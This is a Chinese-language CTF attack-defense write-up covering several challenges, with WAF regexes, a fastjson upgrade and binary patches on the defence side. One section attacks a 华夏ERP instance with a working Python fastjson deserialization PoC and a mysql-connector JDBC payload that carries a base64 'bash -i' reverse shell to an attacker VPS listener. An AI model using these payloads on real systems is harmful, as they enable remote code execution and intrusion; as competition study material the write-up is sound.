web出得有点晚了,早点就好了,为啥每次打ap都只能出一个web。。。
摸了个21名,
file

安全的系统

操作内容:

防御:

打开发现题目中config.php里原来就有加过滤,于是试着加了更多的过滤规则进去,刚开始防没有防御成功,后来就加了一个通防脚本,包含之后传进去两个文件,就防御住了。
file

fish

操作内容:

防御:

防御
代码审计一下,发现了在db.php里原来就有加上的防御正则,于是就多给他加一些,让他更安全,传上去之后就防御成功了。

function waf($s){
  if (preg_match("/select|flag|union|\\\\$|\'|\"|--|#|\\0|into|alert|img|prompt|set|/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark|regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|/is",$s)||strlen($s)>50){
    header("Location: /");
    die();
  }
}

赌怪

操作内容:

防御:

拿到源码是个jar的源码,一般java题漏洞都出现在依赖里,查看pom.xml,发现里面的fastjson是1.2.55的,总所周知,这个版本肯定是存在漏洞的,把依赖的版本修改为新版本1.2.83,然后再maven打包,就防御成功了。
file

攻击
在查看pom.xml的时候发现了源码为华夏ERP,我记得我好像是有这个poc的,于是everything搜了一下,果然有
file
然后打开md,在里面得到python写的poc,原来里面的ascii导致出现编码问题会报错,
改成utf-8就好了。

import socket,sys,re

def SendGet(res,ip,port):
    request = re.sub('[\r\n]','\r\n',res)
    port = int(port)
    sock = socket.socket()   # 建立socket
    sock.connect((ip, port))    # 远程连接
    sock.send(request.encode('utf-8’))  # 向socket发送数据,此处原为ascii
    response = b''   
    chunk = sock.recv(4096)    # 从socket接收数据
    print(chunk.decode())
def main(ip,port,dnslog):
    test = '{"@type":"java.net.Inet4Address","val":"'+ dnslog +'"}'
    test = test.encode('utf-8')
    test = ''.join('%{:02X}'.format(x) for x in test)
    res = '''GET /a.css/../depotHead/list?search={data}&tPage=1&pageSize=10 HTTP/1.1
Host: {host}
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pl;q=0.5
Connection: close

'''.format(data=test,host=ip+':'+port)
    #print(res)
    SendGet(res,ip,port)
main(sys.argv[1],sys.argv[2],sys.argv[3])

用dnslog探测,接收到了请求,说明是确实存在漏洞。但是这个依赖非常少,试了一些链子都没有打通,突然想起来之前看过帖子,mysql也是可以打反序列化的,
查看依赖为mysql-connector-java-5.1.30.jar,版本为5.1.30,确实可以打反序列化,再次用mysql的poc进行探测。

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "xxx.dnslog.cn", "portToConnectTo": 3306, "info": { "user": "yso_    _bash -c {echo,xxx}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } }

Dnslog再次收到请求,说明可以打。
file
于是在vps上开启nc监听,另一边开启MySQL_Fake_Server,MySQL_Fake_Server是用的ysoserial生成的payload,所以再放一个ysoserial进去就可以了,将反弹shell命令base64编码后放入位置。

最终poc:

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "1.1.1.1", "portToConnectTo": 3306, "info": { "user": "yso_(此处为预留爆破的位置)_bash -c {echo,xxxx}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }, "databaseToConnectTo": "dbname", "url": "" } }

file
最开始根据依赖一个一个链子去对比,对了半天没找到可利用的链子,后来我就把包放到bp,把ysoserial的链子名做成字典,进行爆破,点击攻击之后就收到反弹shell。
file
然后在根目录下拿到flag。
flag值:
flag{289b8f9f-92cf-4f2a-b2b7-0d445fe90cda}

diff

操作内容:

防御:

1、将下载好的文件拖入ubuntu中,checksec命令查看保护
file
3、将launcher文件拖入64位IDA,找到main函数用F5反编译查看代码
file
4、在main函数中找到sub_1566函数,发现buf处有栈溢出
file
5、用Tab键返回汇编页面,找到buf栈溢出所在位置
file
6、选择Edit-->Patch program-->Assemble将溢出值改为栈范围内,然后选择Apply patches to input file保存已修改的文件
file
7、最后再看一下sub_1566函数发现buf栈溢出处已被修改到栈范围内,将修改好的文件和update.sh文件打包上传验证,防御成功,如图所示为update.sh文件内容
file

杀猪盘

操作内容:

防御:

1、直接工具patch就防御成功。

mvm

操作内容:

防御

1、直接工具patch就防御成功。